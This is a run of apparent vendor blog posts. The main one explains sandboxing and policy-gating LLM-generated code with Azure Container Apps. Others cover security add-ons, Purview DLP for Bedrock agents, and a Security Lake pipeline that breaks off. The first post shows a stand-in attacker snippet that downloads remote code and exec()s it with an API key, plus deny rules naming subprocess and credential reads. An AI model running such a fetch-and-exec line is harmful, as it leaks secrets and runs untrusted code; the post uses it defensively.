Govern AI Agents Using Agent Governance Toolkit and Azure Container App Sandboxes
When you let a model generate code and you actually execute it, you are handing the model a Python REPL on whatever machine runs the agent. That sounds alarmist — right up until a planner (yours, mine, or anyone else's) produces a snippet that reads as harmless on the first pass: # "summarize the changelog" import urllib.request, os data = urllib.request.urlopen( "https://gist.githubusercontent.com/attacker/.../raw" ).read() exec(data, {"OPENAI_API_KEY": os.environ["OPENAI_API_KEY"]}) Two lines of mostly-stdlib Python. If it runs in your application process, the model just decided it could pull arbitrary code off the internet and pass your secrets into it. Today that's a hypothetical; tomorrow it's a postmortem. The defense splits into two questions developers can actually answer: Where does the code run? Not in your process. A sandbox — a separate, disposable execution environment with its own CPU, memory, filesystem and network — gives you a hard boundary so a bad snippet can crash itself, not your service. Sandboxes have shipped in many flavors (containers, micro-VMs, wasm); the new one in this post is Azure Container Apps sandbox, where each agent session gets a managed, per-session container with a fail-closed egress proxy in front, scaled and operated by Azure. What is the code allowed to do? A sandbox alone is a wide playing field — an attacker who wins a sandbox still has the whole sandbox. Policy narrows the field. A single YAML PolicyDocument says: these tools, these hosts, these CPU / memory / time budgets, no subprocess, no pip install, no substring match on OPENAI_API_KEY. The first cut is enforced on the host by AGT policy (deny rules, tool allowlist, AST scan) so denied snippets never even leave your process; the network cut is enforced inside the ACA sandbox by the egress allowlist so an outbound call to a non-allowed host fails closed at the proxy. Same document, two layers, no drift. AGT ships a Python package — agt-sandbox — that answers both, and a recently added sandbox provider that was recently announced in Build 2026 - Azure container app sandboxes. The rest of this post walks through what's in the agt-sandbox package, the abstraction it pivots on, the new ACA provider, how it composes with AGT policy, and a full LLM-planned research agent built on top. 1. What is Azure Container Apps sandbox? Azure Container Apps Sandboxes (public preview, June 2, 2026) are a first-class Azure resource — Microsoft.App/SandboxGroups — purpose-built for running untrusted, agent-generated code. Each sandbox runs in its own hardware-isolated microVM, boots in sub-second time from an OCI disk image, and can suspend/resume from full memory + disk snapshots for scale-to-zero economics on stateful compute. It's the same primitive that powers Cloud sandboxes in GitHub Copilot, Foundry Hosted Agents, and ACA Express. See - https://techcommunity.microsoft.com/blog/appsonazureblog/introducing-azure-container-apps-sandboxes-secure-infrastructure-for-agentic-wor/4524131 for more info on the service If you've used ACA Dynamic Sessions, Sandboxes are the next evolution and where new work should target. 2. What's in the agt-sandbox package agt-sandbox (PyPI: agt-sandbox, import name: agent_sandbox) is the execution-isolation layer of AGT. It is intentionally small. Its job is to take a snippet of agent- generated code and run it somewhere that is not your application process — under policy, with a structured result. The package contains: SandboxProvider — the abstract base class every backend implements (next section). Three built-in providers, each gated behind an install extra so you only pull what you need: DockerSandboxProvider — hardened OCI containers, with an optional auto-upgrade to gVisor or Kata when present (pip install "agt-sandbox[docker]"). HyperLightSandboxProvider — sub-millisecond Hyperlight micro-VMs over KVM / mshv / WHP (pip install "agt-sandbox[hyperlight]"). ACASandboxProvider — Azure Container Apps managed sandbox sessions (pip install "agt-sandbox[azure]"); the focus of this post. Shared dataclasses — SandboxConfig, SandboxResult, SessionHandle, ExecutionHandle, plus SessionStatus / ExecutionStatus enums. Every provider returns these same types, so calling code never special-cases the backend. Policy-projection helpers — small per-provider functions (docker_config_from_policy, aca_config_from_policy, …) that translate the AGT PolicyDocument into provider-native settings (CPU / memory caps, egress rules, env vars). 3. The SandboxProvider ABC SandboxProvider is the contract every backend implements. The abstract surface is deliberately minimal: class SandboxProvider(ABC): @abstractmethod def create_session(self, agent_id, policy=None, config=None) -> SessionHandle: ... @abstractmethod def execute_code(self, agent_id, session_id, code, *, context=None) -> ExecutionHandle: ... @abstractmethod def destroy_session(self, agent_id, session_id) -> None: ... @abstractmethod def is_available(self) -> bool: ... Every method has an *_async variant that delegates to the sync implementation through asyncio.to_thread by default, so an async agent can call await provider.execute_code_async(...) without each provider having to ship its own event-loop story. The contract features four things, and writing against the ABC means you get all of them no matter which backend is plugged in: Feature What it means Per-session isolation One (agent_id, session_id) pair maps to exactly one sandbox; concurrent agents do not share state Policy as a first-class argument create_session accepts a PolicyDocument; the provider projects it onto its native primitives Host-side PolicyEvaluator gate Every execute_code call runs the evaluator before dispatching code; denied calls never touch the backend Structured SandboxResult Same success / exit_code / stdout / stderr / killed / kill_reason / duration_seconds shape from all backends Per-session isolation is the right unit of granularity because a session is also the natural unit for blast radius and identity: within one session the agent's working state survives across execute_code calls (same (agent_id, session_id) → same sandbox in the provider's cache), and when the session is destroyed the sandbox is deleted with it. Different sessions get different sandboxes — create_session always provisions a fresh one and returns a new session_id, so there is no in-process pathway for state to flow from one session to the next. The hard isolation between two live sandboxes — that a compromised session cannot read another session's filesystem, memory, or network — is ultimately an Azure platform guarantee about inter-sandbox isolation within a sandbox group, not something AGT itself enforces. The provider is a thin lifecycle driver. The abstraction matters in practice because the same agent code works on every backend. You write your planner against SandboxProvider and you choose Docker, Hyperlight for local sandboxes and ACA for managed cloud sandboxes — by swapping one constructor: 4. The new ACASandboxProvider ACASandboxProvider is the most recent addition in AGT. It drives the early-access azure-containerapps-sandbox Python SDK so an agent step can run in a managed Azure-side container without any of the usual infrastructure plumbing. Under the hood, ACASandboxProvider wires the three SandboxProvider lifecycle methods straight onto the ACA SDK. Here's what each one actually does for you: create_session(agent_id, policy=None, config=None) — provisions a fresh ACA sandbox for the agent and applies the policy's resource caps and egress allowlist. Returns a SessionHandle. execute_code(agent_id, session_id, code, *, context=None) — runs host-side policy checks, then executes the snippet inside the sandbox. A policy denial raises PermissionError. Returns an ExecutionHandle carrying a SandboxResult. destroy_session(agent_id, session_id) — deletes the underlying ACA sandbox and evicts cached state. Returns None. The lifecycle in code looks like this: import os from agent_sandbox import ACASandboxProvider from agent_os.policies import PolicyDocument policy = PolicyDocument.from_yaml("policies/aca_research_agent.yaml") provider = ACASandboxProvider( resource_group=os.environ["AZURE_RG"], sandbox_group="agents", region=os.environ["AZURE_REGION"], disk="python-3.13", # constructor-level, not per-session ensure_group_location=os.environ["AZURE_REGION"], ) # create_session takes (agent_id, policy=..., config=...). The policy carries # the network allowlist and the CPU/memory/timeout defaults. handle = provider.create_session("research-agent-1", policy=policy) # execute_code takes (agent_id, session_id, code, *, context=...). # The timeout is read from the session config that was projected from # policy.defaults.timeout_seconds at create_session time. exec_handle = provider.execute_code( "research-agent-1", handle.session_id, "import urllib.request as u; print(u.urlopen('https://arxiv.org').status)", context={"intent": "smoke-test arxiv reachability"}, ) print(exec_handle.result.stdout) provider.destroy_session("research-agent-1", handle.session_id) ACA Sandboxes hit the sweet spot for a production agent platform on Azure: managed (no nodes or Kubernetes to operate), regional and autoscaled, fast enough for per-session creation, integrated with VNet / managed identity / Log Analytics, and rich enough on Azure-native primitives that the AGT policy bundle can be rendered into platform-level controls automatically. 5. How ACASandboxProvider integrates with Agent governance toolkit policy The provider's contribution to governance is that it makes a single PolicyDocument enforce in three different places, with the most expensive checks running last. Before any Azure round-trip (host-side, in your process): The host-side PolicyEvaluator (constructed once per session) evaluates deny rules over code / tool_name, tool_allowlist, and the per-call context. A deny becomes PermissionError. This runs on every execute_code call, so a denied step costs zero Azure cycles. enforce_no_subprocess_execution then walks the snippet's AST and raises SandboxCodeViolation if subprocess.*, os.system, os.execve, os.spawn*, or wildcard imports of those modules appear. This catches the cases where a contains rule misses (e.g. obfuscated imports, from subprocess import Popen as p). At sandbox creation (Azure-side, once per session): aca_config_from_policy projects defaults.max_cpu / defaults.max_memory_mb onto the sandbox's CPU and memory ceilings. network_allowlist plus defaults.network_default are turned into a typed EgressPolicy(default_action="Deny", host_rules=[EgressHostRule(pattern, action="Allow"), …]) and applied via SandboxClient.set_egress_policy. The policy is fail-closed by default — even with an empty allowlist you get a sandbox with no outbound network. Per execution: Azure-side, every call. The egress proxy enforces (4) on every outbound connection inside the sandbox. A blocked host produces an HTTP 403 inside the guest; the snippet's own error handler can detect that, and the provider's caller surfaces it as a blocked-at-egress outcome. Host-side, post-exec tripwire. After SandboxClient.exec returns, the provider compares the measured duration_seconds against defaults.timeout_seconds and, if the budget was exceeded, sets result.killed=True and a kill_reason on the returned SandboxResult. This is an advisory marker, not a kill signal: the snippet has already finished, and the sandbox session itself stays alive and reusable. Acting on it (abandoning the session, surfacing a timeout decision) is the agent loop's job — see how run_step in section 6.3 turns it into a "timeout" receipt. One PolicyDocument, six enforcement points, three different locations. The model is never trusted; each guarantee is enforced by the component closest to the resource it protects. 6. The example: an LLM-planned research agent The agent does one thing: given a research ticket — a small JSON document like {"topic": "differential privacy", "depth": "survey"} — produce a short literature summary. To do that it needs to (a) read papers from arXiv, (b) skim associated GitHub READMEs, and (c) optionally query a local search index. Nothing else. The interesting part is how the agent decides what code to run. A GPT-class planner is asked to break the ticket into a list of steps, each step a short Python snippet. Those snippets are then executed one at a time — each one passing through the six-point gauntlet from section 5. 6.1 Install # agt-sandbox with the Azure provider + the policy engine pip install "agt-sandbox[azure,policy]" # Early-access Azure Container Apps sandbox SDK pip install azure-containerapps-sandbox # Optional: only needed for the LLM planner in section 5.3 pip install openai One-time Azure setup (resource group must already exist — the provider auto-creates the sandbox group on first use, but not the resource group): az login az group create --name agents-rg --location westus2 $env:AZURE_SUBSCRIPTION_ID = (az account show --query id -o tsv) $env:AZURE_RG = "agents-rg" $env:AZURE_REGION = "westus2" Quick smoke check: from agent_sandbox import ACASandboxProvider from agent_os.policies import PolicyDocument print("ok") Ignore the deprecated warning here. The packages are in the midst of migration and will be fixed soon. 6.2 The policy aca_research_agent.yaml — every field is a native PolicyDocument field, no Python wrapper: name: research-agent version: "2" defaults: action: allow max_cpu: 1.0 # → sandbox CPU cap = 1000 millicores max_memory_mb: 2048 # → sandbox memory cap = 2048 MiB timeout_seconds: 90 # per-execute_code wall-clock kill network_default: deny # fail-closed (also the schema default) network_allowlist: - api.openai.com - api.arxiv.org - export.arxiv.org - "*.github.com" - pypi.org - files.pythonhosted.org tool_allowlist: - fetch_arxiv - fetch_github_readme - search_index rules: - name: deny-shell-out-subprocess condition: { field: code, operator: contains, value: "subprocess" } action: deny priority: 100 message: "shell-out blocked by research-agent policy" - name: deny-pip-install condition: { field: code, operator: contains, value: "pip install" } action: deny priority: 100 message: "ad-hoc dependency installs are not permitted" - name: deny-secret-openai condition: { field: code, operator: contains, value: "OPENAI_API_KEY" } action: deny priority: 100 message: "agents may not read host credentials" # Tool-allowlist gate. Fires only when the eval context carries a # `tool_name` — untagged execute_code calls are unaffected. - name: deny-tool-not-in-allowlist condition: field: tool_name operator: not_in value: [fetch_arxiv, fetch_github_readme, search_index] action: deny priority: 200 message: "tool not in research-agent tool_allowlist" Two properties to keep in mind: Network is fail-closed. Any host not on network_allowlist is denied at the Azure egress proxy. An empty allowlist produces a sandbox with no outbound network. tool_allowlist only fires when the call is tagged. Plain execute_code_async(...) has no tool_name. Calls that pass context={"tool_name": "evil_tool"} get denied host-side. Validate before committing: python -m agent_os.policies.cli validate aca_research_agent.yaml # OK 6.3 The agent import asyncio, json, os, time, uuid from dataclasses import dataclass from agent_os.policies import PolicyDocument from agent_sandbox import ACASandboxProvider from openai import AsyncOpenAI @dataclass class Step: index: int; intent: str; code: str @dataclass class StepReceipt: step_index: int; intent: str decision: str # allowed | denied-by-policy | blocked-at-egress | timeout | error reason: str | None azure_sandbox_id: str duration_seconds: float stdout_excerpt: str PLANNER_SYSTEM = """You are a research planner. Output JSON of the form {"steps":[{"intent": str, "code": str}, ...]} where each `code` is self-contained Python using only the standard library (use urllib.request for HTTP, not requests). Snippets may reach: api.arxiv.org, export.arxiv.org, *.github.com, pypi.org. No installs, no shell, no secrets.""" async def plan(client: AsyncOpenAI, ticket: dict) -> list[Step]: resp = await client.chat.completions.create( model="gpt-4o-mini", response_format={"type": "json_object"}, messages=[ {"role": "system", "content": PLANNER_SYSTEM}, {"role": "user", "content": json.dumps(ticket)}, ], ) plan = json.loads(resp.choices[0].message.content) return [Step(i, s["intent"], s["code"]) for i, s in enumerate(plan["steps"])] async def run_step(provider, agent_id, session_id, step: Step) -> StepReceipt: started = time.monotonic() try: exec_handle = await provider.execute_code_async( agent_id, session_id, step.code, context={"step_index": step.index, "intent": step.intent}, ) except PermissionError as exc: return StepReceipt(step.index, step.intent, "denied-by-policy", str(exc), session_id, time.monotonic() - started, "") res = exec_handle.result combined = (res.stdout or "") + (res.stderr or "") egress_block = "egress-blocked" in combined or "HTTP Error 403" in combined if getattr(res, "killed", False): decision, reason = "timeout", getattr(res, "kill_reason", "timeout") elif egress_block: decision, reason = "blocked-at-egress", "Azure egress proxy denied a host" elif res.success: decision, reason = "allowed", None else: decision, reason = "error", (res.stderr or "").strip()[:200] return StepReceipt( step.index, step.intent, decision, reason, session_id, time.monotonic() - started, (res.stdout or "").strip()[:200], ) async def main(ticket_path: str) -> None: ticket = json.loads(open(ticket_path, encoding="utf-8").read()) policy = PolicyDocument.from_yaml("aca_research_agent.yaml") missing = [k for k in ("AZURE_SUBSCRIPTION_ID", "AZURE_RG") if not os.environ.get(k)] if missing: raise SystemExit(f"missing env vars: {', '.join(missing)}") provider = ACASandboxProvider( subscription_id=os.environ["AZURE_SUBSCRIPTION_ID"], resource_group=os.environ["AZURE_RG"], sandbox_group="agents", region=os.environ.get("AZURE_REGION", "westus2"), disk="python-3.13", ensure_group_location=os.environ.get("AZURE_REGION", "westus2"), ) if not provider.is_available(): raise SystemExit(provider.unavailable_reason) agent_id = f"research-{uuid.uuid4().hex[:6]}" handle = await provider.create_session_async(agent_id, policy=policy) try: steps = await plan(AsyncOpenAI(), ticket) receipts = [await run_step(provider, agent_id, handle.session_id, s) for s in steps] print(json.dumps([r.__dict__ for r in receipts], indent=2, default=str)) finally: await provider.destroy_session_async(agent_id, handle.session_id) if __name__ == "__main__": import sys asyncio.run(main(sys.argv[1])) Run it against {"topic": "differential privacy", "depth": "survey"} and you get a JSON array of receipts on stdout — one per planner step. A typical five-step plan produces output along the lines of: [ {"step_index": 0, "intent": "fetch arXiv search results", "decision": "allowed", "reason": null, "azure_sandbox_id": "sb-7f4a92...", "duration_seconds": 1.42, "stdout_excerpt": "{\"feed\": {\"entry\": [{\"id\": \"http://arxiv.org/abs/2201.12345v2\", ..."}, {"step_index": 1, "intent": "download README for top GitHub repo", "decision": "allowed", "reason": null, "azure_sandbox_id": "sb-7f4a92...", "duration_seconds": 0.88, "stdout_excerpt": "# opendp\n\nThe OpenDP Library is a modular collection..."}, {"step_index": 2, "intent": "shell out to grep README", "decision": "denied-by-policy", "reason": "Policy denied: shell-out blocked by research-agent policy", "azure_sandbox_id": "sb-7f4a92...", "duration_seconds": 0.003, "stdout_excerpt": ""}, {"step_index": 3, "intent": "fetch related blog post from third-party site", "decision": "blocked-at-egress", "reason": "Azure egress proxy denied a host", "azure_sandbox_id": "sb-7f4a92...", "duration_seconds": 0.41, "stdout_excerpt": "egress-blocked HTTPError HTTP Error 403: Forbidden"}, {"step_index": 4, "intent": "summarize collected abstracts", "decision": "allowed", "reason": null, "azure_sandbox_id": "sb-7f4a92...", "duration_seconds": 0.32, "stdout_excerpt": "Summary: differential privacy research in 2024-2026..."} ] Three things to notice: Step 2 (subprocess) was rejected host-side in ~3 ms with no Azure round-trip — duration_seconds and the empty stdout_excerpt confirm it never left the host process. Step 3 went to Azure but the egress proxy returned HTTP 403; the caller's try/except converted that into a clean blocked-at-egress decision instead of a hard failure. The session survives both rejections. Step 4 still runs to completion — denials and egress blocks do not poison the sandbox. What you've enforced Concern Where enforced Mechanism Shell-out, pip-install, credential exfiltration Host process PolicyDocument deny rules → PermissionError Subprocess invocation that slips past substring rules Host process enforce_no_subprocess_execution AST scan → SandboxCodeViolation Calls to tools outside the allowlist Host process deny-tool-not-in-allowlist rule Outbound traffic to disallowed hosts Azure egress proxy network_allowlist → EgressPolicy (Deny + per-host Allow) CPU / memory ceiling Azure sandbox VM defaults.max_cpu / defaults.max_memory_mb Per-step wall-clock tripwire Host, post-exec (advisory) defaults.timeout_seconds → SandboxResult.killed=True Audit trail Host process Per-step receipts from run_step The model is never trusted. Each guarantee is enforced by the component closest to the resource it protects, and a single signed PolicyDocument drives all of them. Closing thoughts A few things worth keeping in mind: One PolicyDocument is the artefact. Host-side rules, AST scan, ACA egress proxy, CPU / memory caps, timeouts — all driven by one YAML file. Treat it like code: review it, diff it, and validate it in CI. Fail-closed by default. ACA's network_default: deny is the setting you want. Every host the agent reaches should be in the allowlist, by name, in a reviewable diff. Read the receipts. StepReceipt JSON is the audit trail. Pipe it into Log Analytics and alert on denied-by-policy and blocked-at-egress spikes — they're either attacks or planner regressions. The model is never trusted. Every check in this post exists because the moment you trust the model, you've also trusted whatever fed it its last few tokens. The project lives at github.com/microsoft/agent-governance-toolkit. Issues, PRs, and war stories welcome.Introducing new security and compliance add-ons for Microsoft 365 Business Premium
Small and medium businesses (SMBs) are under pressure like never before. Cyber threats are evolving rapidly, and regulatory requirements are becoming increasingly complex. Microsoft 365 Business Premium is our productivity and security solution designed for SMBs (1–300 users). It includes Office apps, Teams, advanced security such as Microsoft Defender for Business, and device management — all in one cost-effective package. Today, we’re taking that a step further. We’re excited to announce three new Microsoft 365 Business Premium add-ons designed to supercharge security and compliance. Tailored for medium-sized organizations, these add-ons bring enterprise-grade security, compliance, and identity protection to the Business Premium experience without the enterprise price tag. Microsoft Defender Suite for Business Premium: $10/user/month Cyberattacks are becoming more complex. Attackers are getting smarter. Microsoft Defender Suite provides end-to-end security to safeguard your businesses from identity attacks, device threats, email phishing, and risky cloud apps. It enables SMBs to reduce risks, respond faster, and maintain a strong security posture without adding complexity. It includes: Protect your business from identity threats: Microsoft Entra ID P2 offers advanced security and governance features including Microsoft Entra ID Protection and Microsoft Entra ID Governance. Microsoft Entra ID protection offers risk-based conditional access that helps block identity attacks in real time using behavioral analytics and signals from both user risk and sign-in risk. It also enables SMBs to detect, investigate, and remediate potential identity-based risks using sophisticated machine learning and anomaly detection capabilities. With detailed reports and alerts, your business is notified of suspicious user activities and sign-in attempts, including scenarios like a password-spray where attackers try to gain unauthorized access to company employee accounts by trying a small number of commonly used passwords across many different accounts. ID Governance capabilities are also included to help automate workflows and processes that give users access to resources. For example, IT admins historically manage the onboarding process manually and generate repetitive user access requests for Managers to review which is time consuming and inefficient. With ID Governance capabilities, pre-configured workflows facilitate the automation of employee onboarding, user access, and lifecycle management throughout their employment, streamlining the process and reducing onboarding time. Microsoft Defender for Identity includes dedicated sensors and connectors for common identity elements that offer visibility into your unique identity landscape and provide detailed posture recommendations, robust detections and response actions. These powerful detections are then automatically enriched and correlated with data from other domains across Defender XDR for true incident-level visibility. Keep your devices safe: Microsoft Defender for Endpoint Plan 2 offers industry-leading antimalware, cyberattack surface reduction, device-based conditional access, comprehensive endpoint detection and response (EDR), advanced hunting with support for custom detections, and attack surface reduction capabilities powered by Secure Score. Secure email and collaboration: With Microsoft Defender for Office 365 P2, you gain access to cyber-attack simulation training, which provides SMBs with a safe and controlled environment to simulate real-world cyber-attacks, helping to train employees in recognizing phishing attempts. Additionally automated response capabilities and post-breach investigations help reduce the time and resources required to identify and remediate potential security breaches. Detailed reports are also available that capture information on employees’ URL clicks, internal and external email distribution, and more. Protect your cloud apps: Microsoft Defender for Cloud Apps is a comprehensive, AI-powered software-as-a-service (SaaS) security solution that enables IT teams to identify and manage shadow IT and ensure that only approved applications are used. It protects against sophisticated SaaS-based attacks, OAuth attacks, and risky interactions with generative AI apps by combining SaaS app discovery, security posture management, app-to-app protection, and integrated threat protection. IT teams can gain full visibility into their SaaS app landscape, understand the risks and set up controls to manage the apps. SaaS security posture management quickly identifies app misconfigurations and provides remediation actions to reduce the attack surface. Microsoft Purview Suite for Business Premium: $10/user/month Protect against insider threats Microsoft Purview Insider Risk Management uses behavioral analytics to detect risky activities, like an employee downloading large volumes of files before leaving the company. Privacy is built in, so you can act early without breaking employee trust. Protect sensitive data wherever it goes Microsoft Purview Information Protection classifies and labels sensitive data, so the right protections follow the data wherever it goes. Think of it as a ‘security tag’ that stays attached to a document whether it’s stored in OneDrive, shared in Teams, or emailed outside the company. Policies can be set based on the ‘tag’ to prevent data oversharing, ensuring sensitive files are only accessible to the right people. Microsoft Purview Data Loss Prevention (DLP) works in the background to stop sensitive information, like credit card numbers or health data, from being accidentally shared with unauthorized people Microsoft Purview Message Encryption adds another layer by making sure email content stays private, even when sent outside the organization. Microsoft Purview Customer Key gives organizations control of their own encryption keys, helping meet strict regulatory requirements. Ensure data privacy and compliant communications Microsoft Purview Communication Compliance monitors and flags inappropriate or risky communications to protect against policy and compliance violations. Protect AI interactions Microsoft Purview Data Security Posture Management (DSPM) for AI provides visibility into how AI interacts with sensitive data, helping detect oversharing, risky prompts, and unethical behavior. Monitors Copilot and third-party AI usage with real-time alerts, policy enforcement, and risk scoring. Manage information through its lifecycle Microsoft Purview Records and Data Lifecycle Management helps businesses meet compliance obligations by applying policies that enable automatic retention or deletion of data. Stay investigation-ready Microsoft Purview eDiscovery (Premium) makes it easier to respond to internal investigations, legal holds, or compliance reviews. Instead of juggling multiple systems, you can search, place holds, and export information in one place — ensuring legal and compliance teams work efficiently. Microsoft Purview Audit (Premium) provides deeper audit logs and analytics to trace activity like file access, email reads, or user actions. This level of detail is critical for incident response and forensic investigations, helping SMBs maintain regulatory readiness and customer trust. Simplify Compliance Management Microsoft Purview Compliance Manager helps track regulatory requirements, assess risk, and manage improvement actions, all in one dashboard tailored for SMBs. Together, these capabilities help SMBs operate with the same level of compliance and data protection as large enterprises but simplified for smaller teams and tighter budgets. Microsoft Defender and Purview Suites for Business Premium: $15/user/month The new Microsoft Defender and Purview Suites unite the full capabilities of Microsoft Defender and Purview into a single, cost-effective package. This all-in-one solution delivers comprehensive security, compliance, and data protection, while helping SMB customers unlock up to 68% savings compared to buying the products separately, making it easier than ever to safeguard your organization without compromising on features or budget. FAQ Q: When will these new add-ons be available for purchase? A: They will be available for purchase as add-ons to Business Premium in September 2025. Q: How can I purchase? A: You can purchase these as add-ons to your Business Premium subscription through Microsoft Security for SMBs website or through your Partner. Q: Are there any seat limits for the add-on offers? A: Yes. Customers can purchase a mix of add-on offers, but the total number of seats across all add-ons is limited to 300 per customer. Q: Does Microsoft 365 Business Premium plus Microsoft Defender Suite allow mixed licensing for endpoint security solutions? A: Microsoft Defender for Business does not support mixed licensing so a tenant with Defender for Business (included in Microsoft 365 Business Premium) along with Defender for Endpoint Plan 2 (included in Microsoft 365 Security) will default to Defender for Business. For example, if you have 80 users licensed for Microsoft 365 Business Premium and you’ve added Microsoft Defender Suite for 30 of those users, the experience for all users will default to Defender for Business. If you would like to change that to the Defender for Endpoint Plan 2 experience, you should license all users for Defender for Endpoint Plan 2 (either through standalone or Microsoft Defender Suite) and then contact Microsoft Support to request the switch for your tenant. You can learn more here. Q: Can customers who purchased the E5 Security Suite as an add-on to Microsoft 365 Business Premium transition to the new Defender Suite starting from the October billing cycle? A: Yes. Customers currently using the Microsoft 365 E5 Security add-on with Microsoft 365 Business Premium are eligible to transition to the new Defender Suite beginning with the October billing cycle. For detailed guidance, please refer to the guidelines here. Q: As a Partner, how do I build Managed Detection and Response (MDR) services with MDB? A: For partners or customers looking to build their own security operations center (SOC) with MDR, Defender for Business supports the streaming of device events (device file, registry, network, logon events and more) to Azure Event Hub, Azure Storage, and Microsoft Sentinel to support advanced hunting and attack detection. If you are using the streaming API for the first time, you can find step-by-step instructions in the Microsoft 365 Streaming API Guide on configuring the Microsoft 365 Streaming API to stream events to your Azure Event Hubs or to your Azure Storage Account. To learn more about Microsoft Security solutions for SMBs you can visit our website.Extend Microsoft Purview data protection to AWS Bedrock agents for cross-cloud AI governance
Organizations are moving fast with AI, and many of those AI workloads are not staying in one cloud. A team might use Microsoft 365 and Microsoft Purview for governance and in addition to Microsoft Foundry they may still choose to run an AI agent on AWS Bedrock or on the Google Cloud Platform. The technical challenge is straightforward: how do you keep one consistent set of data security, governance, and compliance controls when the agent itself runs outside Microsoft Azure? This is where Microsoft Purview becomes the central policy engine for your data estate. In this post, we show why that matters and then walk through a practical example: an expense approval agent running on Amazon Bedrock, protected by Microsoft Purview Data Loss Prevention (DLP) policies. Why Purview should be the central policy engine Most organizations do not want separate policy stacks for every cloud, every model endpoint, and every app team. That leads to duplicated controls, inconsistent enforcement, and audit gaps. The better model is to separate where workloads run from where policy decisions are made. That is the value proposition for Microsoft Purview in cross-cloud AI scenarios. Purview gives you: A consistent policy layer for sensitive information types such as credit card numbers, Social Security numbers, financial data, and other regulated content. A governance plane that can extend beyond Microsoft-hosted workloads into multi-cloud environments. A compliance framework with auditability, policy traceability, and a familiar operational model for security and compliance teams. A way to apply data-aware controls to AI interactions, not just to storage locations. In practical terms, that means the same organization that already trusts Purview to govern Exchange, SharePoint, Teams, and Copilot can use Purview to govern prompts and responses in a Bedrock-based agent as well. The key architectural shift is this: your app does not need to invent its own data policy engine. It can call Purview at the points where risk exists. What this Bedrock agent demonstrates The sample solution in this blog is a cross-cloud AI pattern: The frontend is a single-page browser-based chat app. Users authenticate with Microsoft Entra ID via MSAL. The backend runs in AWS Lambda. The model is Amazon Bedrock using Nova 2 Lite. Microsoft Purview evaluates prompts and model responses for DLP policy violations. This matters because it proves a broader point: Microsoft Purview can govern AI interactions even when the model and compute are not running in Azure. The core architecture As shown above the end-to-end flow follows this pattern: A user signs in through Microsoft Entra ID from the frontend. The frontend sends the user's access token and prompt to an API endpoint in AWS. The Lambda function exchanges that token using the On-Behalf-Of flow so Purview can evaluate under the signed-in user's identity. Purview scans the full prompt for sensitive information before the model is called. If the prompt is allowed, the Lambda function sends the request to Amazon Bedrock. Purview scans the model response before it is returned to the user. The frontend shows the result along with a Purview evaluation badge. That gives you two strong governance controls: In-line data loss prevention enforcement, which can block risky requests before they ever reach the model. Response-time enforcement, which can stop sensitive data from being returned even if a model generates it. The implementation also uses the user's identity for policy evaluation. That is important because governance decisions should reflect who is asking, not just what application is running. Why this pattern is useful for security, governance, and compliance teams There are three reasons this pattern is worth paying attention to. First, it aligns policy with risk rather than with hosting location. The compute might run in Lambda and the model might be in Bedrock, but Purview still remains the policy decision point. Second, it improves operational clarity. Security teams do not have to learn a different governance toolchain for each AI stack. They can keep using Purview concepts, policy models, and audit workflows. Third, it supports real-world adoption. Most large enterprises are hybrid and multi-cloud already. A governance pattern that only works for one vendor's runtime is not enough. Policy definition in Purview Two polices are needed to enforce DLP-a collection policy for Enterprise AI Apps and a DLP policy Collection policy 2. DLP policy Follow the steps outlined here to create the DLP policy for Enterprise AI Apps. Sample provided: purview-api-samples/DLPforCustomAIApps at main · microsoft/purview-api-samples To replicate this scenario, follow this link to the official GitHub repo: purview-api-samples/AWSBedrock at main · microsoft/purview-api-samples Once deployed, you will have: An AWS Lambda function that calls Amazon Bedrock. A browser frontend that authenticates with Microsoft Entra ID. Microsoft Purview evaluating both prompts and responses. A demo flow where safe prompts succeed and sensitive prompts are blocked. With the App and agent deployed, now comes the moment when the architectural value becomes clear. The model runtime is AWS Bedrock, but the policy decision is still coming from Microsoft Purview. Below screenshot shows the prompt containing sensitive information being blocked based on the policy evaluation by Purview. Minimal code integration requirements using the SDK Below is the code needed to perform the integration between Purview and Bedrock to perform the in and outbound inspection of content destined to and from the Bedrock model. Results of Purview’s verdict presented to user in the App UI Review governance evidence in Purview Data Security Posture Management Summary The bigger story here is not just that Microsoft Purview can protect an Amazon Bedrock agent. It is that organizations can centralize data security, governance, and compliance policy even while their AI architecture becomes more distributed across multiple clouds. That is the operational win. Developers keep the freedom to choose the best runtime and model platform. Security and compliance teams keep a central policy engine they already understand and trust. AI applications can be multi-cloud, but your data protection model does not have to be fragmented. Additional resources Configure Microsoft Purview - purview-sdk | Microsoft Learn Microsoft Purview Developer Platform Documentation - purview-sdk | Microsoft LearnAmazon Security Lake Integration with Microsoft Sentinel: Parquet at the Gates
This blog has been jointly published by ChitreshPandit and arijitpaul. In this blog post, we explore how centralized AWS Security Lake data can be transformed and streamed into Microsoft Sentinel using an AWS Lambda-based pipeline for near real-time ingestion. A story of cost, control, and custom engineering at cloud scale Every organization strives to design its security architecture to help address architectural complexity and support cost‑aware, scalable designs, depending on workload characteristics and implementation choices. Across multiple customer environments, we increasingly see a consistent pattern emerge - security telemetry from various AWS services is not ingested in isolation, but is deliberately centralized into Amazon Security Lake. This approach reflects a maturity in design, where organizations move beyond service-level integrations and instead adopt a unified data strategy. Amazon Security Lake enables this by aggregating security data from services such as Route53, WAF, Kubernetes, and others into a centralized, governed repository. The data is normalized and stored in an open, analytics-friendly format, often leveraging Apache Parquet, a columnar storage format optimized for large-scale processing and cost-efficient storage. This can allow organizations to retain high volumes of security data while maintaining performance and may help optimize storage efficiency in certain scenarios, depending on data volume, retention policies, and analytics patterns. However, this architectural choice introduces a new consideration. Microsoft Sentinel, when integrated into such environments, typically expects ingestion through connector-driven pipelines and streaming event models. In contrast, Security Lake represents a batch-oriented, schema-driven data platform. Rather than treating this as a constraint, it becomes an opportunity to rethink how data should flow between these systems. In this blog, we explore how a streaming bridge architecture can be implemented to align Amazon Security Lake with Microsoft Sentinel’s ingestion model. The approach leverages a combination of AWS Lambda and event-driven patterns to process data as it lands in Amazon S3, transforms it into a Sentinel-compatible format, and streams it through Azure Event Hub into Microsoft Sentinel using Data Collection Rules (DCRs) and Data Collection Endpoints (DCEs). This approach can support lower‑latency ingestion patterns when configured appropriately and compared to batch‑only processing models while preserving the lake-first architecture, allowing organizations to support analytics, visualization, and threat hunting activities using the ingested data. For demonstration, this implementation focuses on ingesting the following data sources from Amazon Security Lake: Amazon EKS audit and runtime events Route 53 DNS query logs AWS WAF access logs AWS Lambda execution activity Amazon S3 access events Note: The solution and code provided in this blog are not an officially supported Microsoft solution and do not guarantee performance, reliability, availability, or support. No service-level agreements (SLAs) are included. Readers are responsible for validating suitability for their environment. Before we begin, let us briefly discuss 